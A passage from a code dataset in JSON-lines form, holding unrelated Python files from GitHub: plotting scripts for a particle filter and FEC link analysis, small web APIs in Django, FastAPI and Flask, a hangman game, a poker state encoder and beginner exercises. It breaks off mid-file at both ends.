1], estimate[:, 0], \"g.\", label=\"PF Estimate\")\r\n ax.axis(\"image\")\r\n ax.legend()\r\n return fig, ax\r\n\r\n\r\n# Plot the particle filter error characteristics\r\ndef plot_error(\r\n data: DataFrame,\r\n rms_error: np.array,\r\n res: float = None,\r\n title_str: str = \"Particle Filter Error\",\r\n title_size: int = 20,\r\n xlabel_str: str = \"Time (hours)\",\r\n xlabel_size: int = 14,\r\n ylabel_str: str = \"Error (m)\",\r\n ylabel_size: int = 14,\r\n max_error: int = 5000,\r\n) -> tuple:\r\n \"\"\"\r\n Plot the error characteristics of the particle filter with respect to\r\n truth and map pixel resolution\r\n\r\n Parameters\r\n ----------\r\n data : DataFrame\r\n The data to plot\r\n rms_error : np.ndarray\r\n The error values to plot with respect to time\r\n res : float\r\n The resolution of the map in meters\r\n title_str : str\r\n The title of the plot\r\n title_size : int\r\n The size of the title\r\n xlabel_str : str\r\n The x axis label\r\n xlabel_size : int\r\n The size of the x axis label\r\n ylabel_str : str\r\n The y axis label\r\n ylabel_size : int\r\n The size of the y axis label\r\n max_error : int\r\n The maximum error to plot\r\n\r\n Returns\r\n -------\r\n fig : Figure\r\n The figure object\r\n \"\"\"\r\n # res = haversine((0, 0), (geo_map.lat[1] - geo_map.lat[0], 0), Unit.METERS)\r\n fig, ax = plt.subplots(1, 1, figsize=(16, 8))\r\n time = data.index - data.index[0]\r\n if res is not None:\r\n ax.plot(\r\n time / timedelta(hours=1),\r\n np.ones_like(time) * res,\r\n label=\"Pixel Resolution\",\r\n )\r\n ax.plot(time / timedelta(hours=1), rms_error, label=\"RMSE\")\r\n # ax.plot(data['TIME'] / timedelta(hours=1), weighted_rmse, label='Weighted RMSE')\r\n ax.set_xlabel(xlabel_str, fontsize=xlabel_size)\r\n ax.set_ylabel(ylabel_str, fontsize=ylabel_size)\r\n ax.set_title(title_str, fontsize=title_size)\r\n ax.set_ylim([0, max_error])\r\n ax.legend()\r\n return fig, ax\r\n\r\n\r\ndef parse_args():\r\n \"\"\"\r\n Command line interface specifications\r\n \"\"\"\r\n parser = argparse.ArgumentParser(description=\"Particle Filter\")\r\n parser.add_argument(\r\n \"-c\",\r\n \"--config\",\r\n type=str,\r\n help=\"Path to the particle filter configuration file\",\r\n default=\"./config.json\",\r\n )\r\n parser.add_argument(\r\n \"-d\",\r\n \"--data\",\r\n type=str,\r\n help=\"Path to the data file or folder containing data files\",\r\n )\r\n parser.add_argument(\r\n \"-o\",\r\n \"--output\",\r\n type=str,\r\n help=\"Path to the output directory\",\r\n default=\"./results/\",\r\n )\r\n parser.add_argument(\r\n \"-t\",\r\n \"--type\",\r\n type=str,\r\n help=\"Type of map to use\",\r\n default=\"relief\",\r\n )\r\n return parser.parse_args()\r\n\r\n\r\ndef main():\r\n \"\"\"\r\n Main function\r\n \"\"\"\r\n args = parse_args()\r\n config = json.load(open(args.config, \"r\", encoding=\"utf-8\"))\r\n # Check to see if the data is a file or a folder\r\n if os.path.isfile(args.data):\r\n process_particle_filter(args.data, config, \"./results/\", args.type)\r\n elif os.path.isdir(args.data):\r\n # Get a list of all CSV files in the directory\r\n file_list = [\r\n os.path.join(args.data, file)\r\n for file in os.listdir(args.data)\r\n if file.endswith(\".csv\")\r\n ]\r\n cores = multiprocessing.cpu_count()\r\n # Process particle filters in parallel\r\n with multiprocessing.Pool(processes=cores) as pool:\r\n pool.starmap(\r\n process_particle_filter,\r\n [(file, config, \"./results/\", args.type) for file in file_list],\r\n )\r\n pool.close()\r\n pool.join()\r\n else:\r\n raise ValueError(\"Data path not recognized\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"jbrodovsky/research","sub_path":"particle_filter.py","file_name":"particle_filter.py","file_ext":"py","file_size_in_byte":14216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"1277576944","text":"from django.urls import path\nfrom django.conf.urls import url\n\nfrom api.samples import views\n\nurlpatterns = [\n path('', views.samples, name='samples'),\n path('search', views.search, name='search'),\n path('sets', views.sets, name='sets'),\n path('persons', views.persons, name='persons'),\n path('tags', views.tags, name='tags'),\n path('geo', views.geo, name='geo'),\n path('files', views.files, name='files'),\n]\n","repo_name":"antonybholmes/pyedbw","sub_path":"api/samples/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26382289775","text":"import random\n\nword_list = [\"secret\",\"information\",\"kitchen\",\"Accompany\",\"knee\",\"Accomplish\",\"knife\",\"Acknowledge\",\"knock\"]\nword = random.choice(word_list).lower()\n\nguess_count = 7\nguessed = []\n\ndone = False\n\n#prints the word \n#input from user\nwhile not done:\n for letter in word:\n if letter in guessed:\n print(letter,end=\" \")\n \n else:\n print(\"_\",end=\" \")\n\n print(\" \")\n #guess should run until while gets done\n #guess id kept inside the loop\n guess = input(f\"You have left {guess_count} turns, Next choice: \").lower()\n guessed.append(guess)\n if guess not in word or guess == \"\":\n guess_count -= 1\n if guess_count == 0:\n break\n \n done = True\n #this loop makes the while loop not to break \n #if guessed is wrong\n for letter in word:\n if letter not in guessed:\n done = False\n\nif done:\n print(f\"You found the word '{word}' ,you won!!\")\n\nelse:\n print(f\"You lose ,the word is '{word}'\")\n","repo_name":"Nithunraj/Myprojects","sub_path":"Guessinggame.py","file_name":"Guessinggame.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38899540505","text":"from json import load\nfrom fastapi import FastAPI\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.utils import load_img, img_to_array\nfrom io import BytesIO\nfrom numpy import array as nparray\n\nfrom fastapi import FastAPI, UploadFile, HTTPException\n\n\nMODEL_DIR = 'model'\nMODEL = load_model(MODEL_DIR)\nTARGET_SIZE = MODEL.input_shape[1:3]\nwith open('classes.json') as f:\n CLASSES = load(f)\n\ndef load_image(image_io):\n return nparray([\n img_to_array(\n load_img(\n image_io,\n target_size=TARGET_SIZE,\n interpolation='bilinear',\n keep_aspect_ratio=True\n )\n )\n ])\n\n\napp = FastAPI()\n\n@app.post(\"/predict-image\")\nasync def predict_image(file: UploadFile):\n\n allowed_content_types = [\"image/jpeg\", \"image/png\"]\n if file.content_type not in allowed_content_types:\n raise HTTPException(status_code=415, detail=\"Unsupported file format\")\n\n max_file_size = 1024 * 1024 # 1 MiB in bytes\n if file.file.tell() > max_file_size:\n raise HTTPException(status_code=413, detail=\"File size exceeds 1 MiB\")\n\n file_bytes = await file.read()\n img = load_image(BytesIO(file_bytes))\n probs = MODEL.predict(img)[0]\n arg3 = probs.argsort()[-3:][::-1]\n return {\n f'pred_{i}': (CLASSES[arg], float(probs[arg]))\n for i, arg in enumerate(arg3)\n }\n\n\n@app.get('/')\nasync def home():\n return {'message': 'Hello World'}\n\n","repo_name":"jmlazaro25/bird-class","sub_path":"src/api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"70162889826","text":"import json\nimport logging\nimport os\n\nfrom flask import current_app\nfrom functools32 import lru_cache\nfrom googleapiclient import discovery\nfrom oauth2client.client import GoogleCredentials\nimport resources\n\nfrom google.appengine import runtime\nfrom google.appengine.api import app_identity\n\n\n@lru_cache()\ndef get_ml_svc():\n \"\"\"Builds the ML Engine service object.\"\"\"\n credentials = GoogleCredentials.get_application_default()\n ml_svc = discovery.build('ml', 'v1', credentials=credentials)\n return ml_svc\n\n\n@lru_cache()\ndef read_category_map_as_json():\n \"\"\"Reads the label to category mapping file.\"\"\"\n cat_file_path = os.path.join(resources.__path__[0],\n 'category_map.json')\n with open(cat_file_path) as json_data:\n data = json.load(json_data)\n\n return data\n\n\ndef category_from_fixed_mappings(labels):\n \"\"\"Gets the top category from fixed label to category mappings.\"\"\"\n if not labels:\n return ''\n\n # Read label to category mappings from json file\n category_map = read_category_map_as_json()\n\n category_scores = {}\n top_category = None\n\n # Iterate through labels\n for label in labels:\n for k, v in category_map['categorymaps'].iteritems():\n if label['description'].lower() in [x.lower() for x in v]:\n if k in category_scores.keys():\n category_scores[k] += label['score']\n else:\n category_scores[k] = label['score']\n\n num_category_scores = len(category_scores)\n if num_category_scores > 0:\n sorted_scores = sorted([(v, k) for (k, v) in category_scores.iteritems()],\n reverse=True)\n category_tuple = sorted_scores[0]\n if category_tuple[0] > 0:\n top_category = category_tuple[1]\n\n # Return the top category name\n return top_category\n\n\ndef category_from_similar_vectors(labels):\n \"\"\"Gets the most similar category by comparing image and category vectors.\"\"\"\n if not labels:\n return []\n\n try:\n parent = 'projects/{}/models/{}/versions/{}'.format(\n app_identity.get_application_id(),\n current_app.config['ML_MODEL_NAME'],\n current_app.config['ML_MODEL_VERSION'])\n\n label_list = []\n score_list = []\n\n # Split labels with multiple words.\n # For simplicity, each word in the label is given the same score\n # as the original label.\n\n for label in labels:\n words = label['description'].split(' ')\n for word in words:\n label_list.append(word)\n score_list.append(label['score'])\n\n request_dict = {\n 'instances': [{\n 'labels': label_list,\n 'scores': score_list\n }]\n }\n\n # Build and execute the request to ML Engine\n ml_svc = get_ml_svc()\n request = ml_svc.projects().predict(name=parent, body=request_dict)\n response = request.execute()\n\n # Return an array of similarity scores, one score for each category\n pred = response['predictions'][0]['prediction']\n return pred\n\n except runtime.DeadlineExceededError:\n logging.exception('Exceeded deadline in category_from_vector()')\n","repo_name":"GoogleCloudPlatform/solutions-vision-search","sub_path":"gae/backend/category_scorer.py","file_name":"category_scorer.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"70"} +{"seq_id":"31508819232","text":"#Python dependencies\nimport datetime as dt\n\n\n#Flask and it's dependencies\nfrom flask import request, url_for\nfrom werkzeug.urls import url_parse\n\n\ndef get_next_page_or(default='main.index'):\n \"\"\"\n Method to get next page to a terminating event like user login\n \"\"\" \n next_page = request.args.get('next')\n if not next_page or url_parse(next_page).netloc != '':\n next_page = url_for(default)\n return next_page\n\n\ndef format_datetime(original_time, format=''):\n \"\"\"\n Method to format datetime in ___ form now format,\n could also use arrow library(pip install arrow), see documentation for further usage.\n \"\"\"\n time_delta = dt.datetime.utcnow() - original_time\n seconds = time_delta.seconds\n if seconds<60:\n return \"few seconds ago.\"\n days = time_delta.days\n del time_delta\n if format == 'from-now':\n # > 2 Year\n if days >= 730: return \"{} years ago.\".format(days//365)\n # 2 Year > > 1 Year\n elif days >= 365: return \"a year ago.\"\n # > 2 Month\n elif days >= 60: return \"{} months ago.\".format(days//30)\n # 2 Month > > 1 month\n elif days >= 30: return \"a month ago.\"\n # > 2 Weeks\n elif days >= 14: return \"{} weeks ago.\".format(days//7)\n # 2 Month > > 1 month\n elif days >= 7: return \"a week ago.\"\n # > 2 Days\n elif days >= 2: return \"{} days ago.\".format(days)\n # 2 Days > > 1 Day\n elif days == 1: return \"a day ago.\"\n # > 2 Hours\n elif seconds >= 7200: return \"{} hours ago.\".format(seconds//3600)\n # 2 Hour > > 1 Hour\n elif seconds >= 3600: return \"a hour ago.\"\n # > 2 Minutes\n elif seconds >= 120: return \"{} minutes ago.\".format(seconds//60)\n # 2 Minute > > 1 Minute\n elif seconds >= 60: return \"a minute ago.\"\n #Rest\n else: return \"few seconds ago.\"\n else:\n pass","repo_name":"vibhorrawal/python-flask-blog","sub_path":"app/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38672907843","text":"\"\"\"\r\nPOO. Clase Empleado\r\n\"\"\"\r\nimport sqlite3 as db\r\nfrom os.path import isfile\r\nimport json\r\n\r\nclass Empleado:\r\n \"\"\"\r\n Implementación de la clase Empleado: id, nombre, cargo\r\n \"\"\"\r\n def __init__(self, id=0, nombre=\"\", cargo=\"\") -> None:\r\n # Definición de atributo\r\n self.id = id\r\n self.nombre = nombre\r\n self.cargo = cargo\r\n \r\n def __str__(self):\r\n return str(self.id) + \" \" + self.nombre + \" \" +\\\r\n self.cargo\r\n \r\n def __repr__(self) -> str:\r\n return str(self) # return self.__str__()\r\n \r\n def __lt__(self, otro):\r\n # return self.nombre < otro.nombre\r\n if self.nombre < otro.nombre:\r\n return True\r\n else:\r\n return False\r\n \r\n def __del__(self):\r\n #print('Eliminado: ', self.nombre)\r\n pass\r\n\r\nclass Analista(Empleado):\r\n\r\n def __init__(self, id=0, nombre=\"\", cargo=\"\",proyectos=[]) -> None:\r\n # Llamar al constructor de Empleado:\r\n #super().__init__(id, nombre, cargo)\r\n # Otra forma:\r\n Empleado.__init__(self, id, nombre, cargo)\r\n self.proyectos = proyectos\r\n\r\n def __str__(self):\r\n return super().__str__()+ \" \" + \",\".join(self.proyectos)\r\n\r\nclass BaseDatos:\r\n\r\n def __init__(self, path) -> None:\r\n if not isfile(path):\r\n raise FileNotFoundError(f'No existe:{path}')\r\n else:\r\n self.con = db.connect(path)\r\n\r\n def select(self):\r\n sql = \"select * from empleados\" \r\n cur = self.con.cursor()\r\n cur.execute(sql)\r\n return [Empleado(*t) for t in cur.fetchall()]\r\n\r\n def __del__(self):\r\n if hasattr(self, 'con'):\r\n self.con.close()\r\n\r\ndef test1():\r\n base_datos = BaseDatos('./empresa3.db')\r\n L = base_datos.select()\r\n L.sort()\r\n for i in L:\r\n print(i)\r\n\r\n emp1 = Empleado(10, 'Raquel', 'Ventas')\r\n print(emp1.__dict__)\r\n\r\n # Convertir a json la colección de empleados:\r\n Ljson = [e.__dict__ for e in L]\r\n print(json.dumps(Ljson, indent=4))\r\n \"\"\"\r\n emp1 = Empleado(10, 'Raquel', 'Ventas')\r\n print(emp1)\r\n emp2 = Empleado(11, 'Eva', 'Comercial')\r\n print(emp2)\r\n print(str(emp2))\r\n print(emp2.__str__())\r\n L = [emp1, emp2, Empleado(13,'Jose','Comercial')]\r\n print(L)\r\n #L.sort(key=lambda o : o.nombre)\r\n L.sort()\r\n print(L)\r\n \"\"\"\r\n\r\ndef test2():\r\n a1 = Analista(12, 'Jorge','Jefe de Grupo',['App1'])\r\n a2 = Analista(15, 'Miguel','Jefe de Dpo',['App1','Web1'])\r\n print(a1)\r\n if a1 < a2:\r\n print(a1.nombre,'es menor',a2.nombre)\r\n else:\r\n print(a2.nombre,'es menor',a1.nombre)\r\n\r\n print(a1.__class__) \r\n print(a1.__class__.__name__) \r\n\r\n obj = \"{}({},'{}','{}',{})\" \\\r\n .format(\"Analista\",1,'Pepe','admin',[])\r\n print(obj)\r\n an2 = eval(obj)\r\n print(an2, type(an2))\r\n\r\nif __name__=='__main__':\r\n #test1()\r\n s = \"test2()\"\r\n eval(s)\r\n print(__file__)\r\n\r\n ","repo_name":"aldebarran22/curso_csic_2023","sub_path":"codigo/objetos.py","file_name":"objetos.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25422449436","text":"import os\nimport pylab\nimport logging\nimport datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.patches import Rectangle\nimport scipy.stats as stats\nimport pandas as pd\nimport seaborn as sns\nsns.set_style(\"whitegrid\")\nimport json\nimport math\nimport re\nfrom link_file import LinkFile\n\nclass FEC_Plotter(object):\n\n def __init__(self, files, basename):\n self.basename = basename\n self.files = files\n\n self.logger = logging.getLogger('FEC Plotter')\n self.logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(name)s: %(message)s')\n # console logging\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n ch.setFormatter(formatter)\n self.logger.handlers = []\n self.logger.addHandler(ch)\n\n self.ranges = {'rssi': range(-100, -80),\n 'lqi': range(20, 115),\n 'power': range(0, 30),\n 'bit_errors': range(0, 80),\n 'byte_errors': range(0, 40),\n 'temperature': range(20, 100)}\n\n self.raw_dicts = []\n for file in self.files:\n with open(file, 'r') as raw_file:\n # try:\n values = json.load(raw_file)\n values['file'] = file\n\n match = re.search(\"-rs_(?P[0-9]{2})_(?P[0-9]{2})_random-2\", file)\n if (match):\n values['n']= int(match.group('n'))\n values['k'] = int(match.group('k'))\n else:\n values['n'] = 80\n values['k'] = 70\n self.raw_dicts.append(values)\n # except:\n # self.logger.error(\"Raw file corrupted!\")\n\n\n def get_mean_time_values_for_key(self, key, lower=None, upper=None):\n nkey = key.lower().replace(\" \", \"_\")\n data = dict(self.raw_dicts[0][nkey])\n\n if len(data['time']) > 0:\n data['time'] = map(lambda dt: datetime.datetime.fromtimestamp(dt), data['time'])\n data.update({'mean': [], 'std_l': [], 'std_u': []})\n for ii in range(len(data['time'])):\n mean = np.mean(data['values'][ii])\n std = np.std(data['values'][ii], ddof=1)\n\n data['mean'].append(mean)\n data['std_l'].append(max(lower, (mean - std)) if lower != None else mean - std)\n data['std_u'].append(min(upper, (mean - std)) if upper != None else mean + std)\n\n return data\n\n def create_prr_plot(self, nax=None, prr=None, name=\"PRR\"):\n if prr == None:\n for values in self.raw_dicts:\n if values['k'] == 70:\n prr = dict(values['prr'])\n break\n\n if len(prr['time']) > 0:\n prr['time'] = map(lambda dt: datetime.datetime.fromtimestamp(dt), prr['time'])\n\n # normalize for all sent messages\n for ii in range(len(prr['time'])):\n all_sent = prr['sent'][ii]\n if all_sent > 0:\n prr['received'][ii] = float(prr['received'][ii]) / all_sent\n prr['received_without_error'][ii] = float(prr['received_without_error'][ii]) / all_sent\n prr['decoded_without_error'][ii] = float(prr['decoded_without_error'][ii]) / all_sent\n prr['coded_without_error'][ii] = float(prr['coded_without_error'][ii]) / all_sent\n\n if nax == None:\n fig, ax = plt.subplots(1)\n x, y = fig.get_size_inches()\n fig.set_size_inches(x * 0.625, y * 0.625)\n else:\n ax = nax\n zeros = np.zeros(len(prr['time']))\n ones = np.ones(len(prr['time']))\n legend = {'patches': [], 'labels': []}\n\n if sum(prr['decoded_without_error']) > 0:\n ax.fill_between(prr['time'], y1=prr['decoded_without_error'], y2=ones,\n where=prr['decoded_without_error'] < ones, color='r', interpolate=True)\n legend['patches'].append(Rectangle((0, 0), 1, 1, fc=\"r\"))\n legend['labels'].append(\"Decoded with error\")\n\n ax.fill_between(prr['time'], y1=prr['received'], y2=ones, where=prr['received'] < ones, color='0.65',\n interpolate=True)\n legend['patches'].append(Rectangle((0, 0), 1, 1, fc=\"0.65\"))\n legend['labels'].append(\"Reception timeout\")\n\n if sum(prr['coded_without_error']) > 0:\n rx_wo_error, = ax.plot_date(prr['time'], prr['coded_without_error'], markersize=0, c='k', linestyle='-',\n linewidth=0.8)\n else:\n rx_wo_error, = ax.plot_date(prr['time'], prr['received_without_error'], markersize=0, c='k',\n linestyle='-', linewidth=0.8)\n legend['patches'].append(rx_wo_error)\n legend['labels'].append(\"Received without Error\")\n\n ax.set_ylim(ymin=0, ymax=1)\n ax.set_ylabel(name, fontsize=18)\n\n ax.legend(legend['patches'],\n legend['labels'],\n loc=3,\n prop={'size': 12})\n\n if nax == None:\n fig.autofmt_xdate()\n\n return ax\n\n def create_mean_time_plot_for_key(self, key, nax=None):\n nkey = key.lower().replace(\" \", \"_\")\n data = self.get_mean_time_values_for_key(key, 0 if 'errors' in nkey else None)\n\n if len(data['time']) > 0:\n\n if nax == None:\n fig, ax = plt.subplots(1)\n x, y = fig.get_size_inches()\n fig.set_size_inches(x * 0.625, y * 0.625)\n else:\n ax = nax\n ax.set_ylim(ymin=min(self.ranges[nkey]), ymax=max(self.ranges[nkey]))\n if 'temperature' in nkey:\n key += \" ($^\\circ$C)\"\n ax.set_ylabel(key, fontsize=18)\n\n if 'temperature' not in nkey:\n ax.plot_date(data['time'], data['std_u'], c='0.5', linestyle='-', markersize=0, linewidth=1)\n ax.plot_date(data['time'], data['std_l'], c='0.5', linestyle='-', markersize=0, linewidth=1)\n ax.plot_date(data['time'], data['mean'], c='k', linestyle='-', markersize=0, linewidth=1.75)\n\n if nax == None:\n fig.autofmt_xdate()\n\n return ax\n\n\n def create_throughput_plot(self, nax=None, labels=None):\n\n if nax == None:\n fig, ax = plt.subplots(1)\n else:\n ax = nax\n colors = \"bgrcmyk\"\n # colors = \"rgb\"\n color_index = 0\n\n legend = {'patches': [], 'labels': []}\n\n for i, file in enumerate(self.raw_dicts):\n prr = dict(file['prr'])\n prr['time'] = map(lambda dt: datetime.datetime.fromtimestamp(dt), prr['time'])\n n = file['n']\n k = file['k']\n throughput = float(k)/n\n\n delta_half = datetime.timedelta(minutes=2, seconds=36)\n\n prr_f = {'time': [prr['time'][0]],\n 'sent': [0],\n 'received': [0],\n 'received_without_error': [0],\n 'coded_without_error': [0],\n 'decoded_without_error': [0]}\n\n prr_index = 0\n reference_time = prr['time'][0] + delta_half + delta_half\n\n for time_index in range(len(prr['time'])):\n if prr['time'][time_index] <= reference_time:\n prr_f['sent'][prr_index] += prr['sent'][time_index]\n prr_f['received'][prr_index] += prr['received'][time_index]\n prr_f['received_without_error'][prr_index] += prr['received_without_error'][time_index]\n prr_f['coded_without_error'][prr_index] += prr['coded_without_error'][time_index]\n prr_f['decoded_without_error'][prr_index] += prr['decoded_without_error'][time_index]\n else:\n prr_f['time'].append(reference_time + delta_half)\n prr_f['sent'].append(prr['sent'][time_index])\n prr_f['received'].append(prr['received'][time_index])\n prr_f['received_without_error'].append(prr['received_without_error'][time_index])\n prr_f['decoded_without_error'].append(prr['coded_without_error'][time_index])\n prr_f['coded_without_error'].append(prr['decoded_without_error'][time_index])\n\n prr_index += 1\n reference_time += delta_half + delta_half\n\n # normalize for all received messages\n for ii in range(len(prr_f['time'])):\n all_received = prr_f['received'][ii]\n if all_received > 0:\n prr_f['received_without_error'][ii] = float(prr_f['received_without_error'][ii]) / all_received\n prr_f['decoded_without_error'][ii] = float(prr_f['decoded_without_error'][ii]) / all_received * throughput\n prr_f['coded_without_error'][ii] = float(prr_f['coded_without_error'][ii]) / all_received * throughput\n\n if len(legend['patches']) == 0:\n ax.plot_date(prr_f['time'], prr_f['received_without_error'], markersize=0, c='k',\n linestyle='--',\n linewidth=2)\n lines, = ax.plot_date(prr_f['time'], prr_f['decoded_without_error'], markersize=0, c=colors[color_index], linestyle='-', linewidth=1.5)\n color_index = (color_index + 1) % (len(colors) - 0)\n legend['patches'].append(lines)\n legend['labels'].append(\"k = {}\".format(k))\n\n ax.set_ylim(ymin=0, ymax=1)\n ax.set_ylabel('Throughput', fontsize=18)\n\n if labels != None:\n legend['labels'] = labels\n ax.legend(legend['patches'],\n legend['labels'],\n loc=3,\n prop={'size': 12})\n # else:\n # ax.annotate('k=60', xy=(prr['time'][5],6.05/8), xytext=(prr['time'][30], 4.2 / 8),\n # arrowprops=dict(facecolor='w', edgecolor='k', linewidth=0.75, width=2, shrink=0.05, frac=0.23, headwidth=6))\n # ax.annotate('k=74', xy=(prr['time'][5], 7.45 / 8), xytext=(prr['time'][40], 5.3 / 8),\n # arrowprops=dict(facecolor='w', edgecolor='k', linewidth=0.75, width=2, shrink=0.05, frac=0.2, headwidth=6))\n\n if nax == None:\n fig.autofmt_xdate()\n\n return ax\n\n def create_multiple_plots(self):\n fig, axarr = plt.subplots(2, sharex=True)\n fig.set_size_inches(8 * 0.625, 0.625 * 2 * 5.5)\n\n self.create_throughput_plot(axarr[0])\n # self.create_mean_time_plot_for_key('Byte Errors', axarr[1])\n # self.create_mean_time_plot_for_key('LQI', axarr[3])\n self.create_mean_time_plot_for_key('Temperature', axarr[1])\n\n fig.autofmt_xdate()\n\n # self.logger.debug(\"Saving Plot to file: '{}_{}'\".format(self.basename, \"-\".join(keys)))\n # plt.savefig(\"{}_{}.pdf\".format(self.basename, \"-\".join(keys)), bbox_inches='tight', pad_inches=0.1)\n # plt.close()\n\n return axarr\n\n def create_multiple_plots_prr(self):\n fig, axarr = plt.subplots(2, sharex=True)\n fig.set_size_inches(8 * 0.625, 0.625 * 2 * 5.5)\n\n self.create_prr_plot(axarr[0], dict(self.raw_dicts[0]['prr']), \"PRR Original\")\n self.create_prr_plot(axarr[1], dict(self.raw_dicts[1]['prr']), \"PRR Simulation\")\n\n # self.create_throughput_plot(axarr[2], [\"Original\", \"Simulation\"])\n\n\n fig.autofmt_xdate()\n\n # self.logger.debug(\"Saving Plot to file: '{}_{}'\".format(self.basename, \"-\".join(keys)))\n # plt.savefig(\"{}_{}.pdf\".format(self.basename, \"-\".join(keys)), bbox_inches='tight', pad_inches=0.1)\n # plt.close()\n\n return axarr\n\n def save_throughput_plot(self):\n plot = self.create_multiple_plots()\n if plot != None:\n self.logger.debug(\"Saving Plot to file: '{}_{}'\".format(self.basename, \"Throughput\"))\n plt.savefig(\"{}_{}.pdf\".format(self.basename, \"Throughput\"), bbox_inches='tight', pad_inches=0.1)\n plt.close()\n\n\n def save_prr_and_throughput_plots(self):\n plot = self.create_multiple_plots_prr()\n if plot != None:\n self.logger.debug(\"Saving Plot to file: '{}_{}'\".format(self.basename, \"Throughput\"))\n plt.savefig(\"{}_{}.pdf\".format(self.basename, \"Throughput\"), bbox_inches='tight', pad_inches=0.1)\n plt.close()\n","repo_name":"salkinium/bachelor","sub_path":"link_analysis/fec_plotter.py","file_name":"fec_plotter.py","file_ext":"py","file_size_in_byte":12671,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"17429152174","text":"import os\nimport json\nfrom collections import OrderedDict\nimport numpy as np\nimport rlcard\nfrom keras.utils.np_utils import to_categorical\nfrom rlcard.games.holdem.card import holdemCard as Card\n\n# Read required docs\nROOT_PATH = rlcard.__path__[0]\n\n# a map of abstract action to its index and a list of abstract action\nwith open(os.path.join(ROOT_PATH, 'games/holdem/jsondata/action_space.json'), 'r') as file:\n ACTION_SPACE = json.load(file, object_pairs_hook=OrderedDict)\n ACTION_LIST = list(ACTION_SPACE.keys())\nsuit_dict = {2:0, 4:1, 8:2, 16:3}\n\ndef init_deck():\n \"\"\"\n Generate poke deck of 52 cards\n \"\"\"\n deck = []\n card_info = Card.info\n for suit in card_info['suit']:\n for number in card_info['number']:\n deck.append(Card(suit, number))\n\n return deck\n\ndef encode_state(state):\n \"\"\"\n # game info\n state['players_fund'] = [i.fund for i in self.players]\n state['players_fold'] = [i.fold for i in self.players]\n state['players_check'] = [i.check for i in self.players]\n state['cur_bet_level'] = self.round.current_bet_level\n state['total_stakes'] = self.round.total_stakes\n state['player_size'] = self.num_players\n state['all_in_num'] = self.round.all_in_num\n # player info\n state['player'] = player_id\n state['init fund'] = player.init_fund\n state['fund'] = player.fund\n state['fold'] = player.fold\n state['check'] = player.check\n # after check, know\n state['hand'] = [i.str for i in player.hand]\n state['power'] = player.power\n \"\"\"\n final_list = []\n #final_list.extend(encode(state['player'], state['player_size']))\n final_list.extend(state['players_fund'])\n final_list.extend([i * 1 for i in state['all_in']])\n final_list.extend([i * 1 for i in state['players_fold']])\n final_list.extend(state['players_raise_count'])\n final_list.extend(state['players_check_count'])\n # final_list.extend(state['community_suit'])\n # final_list.extend(state['community_rank'])\n # final_list.extend(encode_hand(state['hand'], state['check']))\n dummy_card = encode_card(state['hand_suit']+state['community_suit'],\\\n state['hand_rank'] + state['community_rank'])\n final_list.extend(dummy_card)\n # final_list.extend(state['hand_rank'])\n # final_list.extend(state['hand_suit'])\n final_list.append(state['win_rate'][state['round']-1])\n final_list.extend(state['total_stakes'])\n final_list.append(state['player'])\n return np.array(final_list)\n\ndef encode_card(card_suit, card_rank):\n dummy_card = [0]*52\n for i in range(len(card_suit)):\n sub_suit = card_suit[i]\n sub_rank = card_rank[i]\n dummy_card[suit_dict[sub_suit]*13+ sub_rank - 2] = 1\n return dummy_card \n\n\ndef encode_hand(hand, check_status):\n ans = []\n # is_suit status: 0 same suit, 1 no suit, unknown\n # card: 13 type + 1(unknown) = 14\n if check_status:\n suits = [i.suit for i in hand]\n is_suit = [1, 0, 0] if len(set(suits)) == 1 else [0, 1, 0]\n for i in hand:\n ans += encode(i.rank, 14)\n else:\n is_suit = [0, 0, 1]\n for _ in range(3):\n ans += encode(13, 14)\n ans += is_suit\n return ans\n\n\ndef encode(target, size):\n ans = [0] * size\n ans[target] = 1\n return ans\n","repo_name":"RoberttsengTAO/rlcard","sub_path":"rlcard/games/holdem/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41140253936","text":"prefixo = int(input('Informe o prefixo: '))\r\nquantidade_numeros = int(input('Informe a quantidade de telefones: '))\r\n \r\nprint('Os números que deverão ser ligados são os seguintes: ')\r\nn = 1\r\nwhile n <= quantidade_numeros:\r\n lista = [0, 0, 0, n]\r\n n += 1\r\n sufixo = \"\".join([str(_) for _ in lista])\r\n print(f'{prefixo}-{sufixo}')\r\n\r\n\r\n\r\n","repo_name":"ilanobrega/luizacode-2022","sub_path":"lista1_python/ex21.py","file_name":"ex21.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4578976284","text":"# _*_ coding:utf-8 _*-\n# 作者:shangxiaoyu\n# @Time : 2020/8/3 22:01\nimport requests\nimport json\nimport jsonpath\n\nclass OperatorCommon:\n\n #转换参数中变量\n def convertData(self, jsonObj, strObj):\n if strObj is None or jsonObj is None:\n return None\n else:\n #对字符串进行切片\n listStr = strObj.split(\"$\")\n #遍历字符串,取下标为奇数位的元素\n for index in range(len(listStr)):\n if index % 2 == 1:\n #变量\n var = listStr[index]\n #依赖值\n dependKey 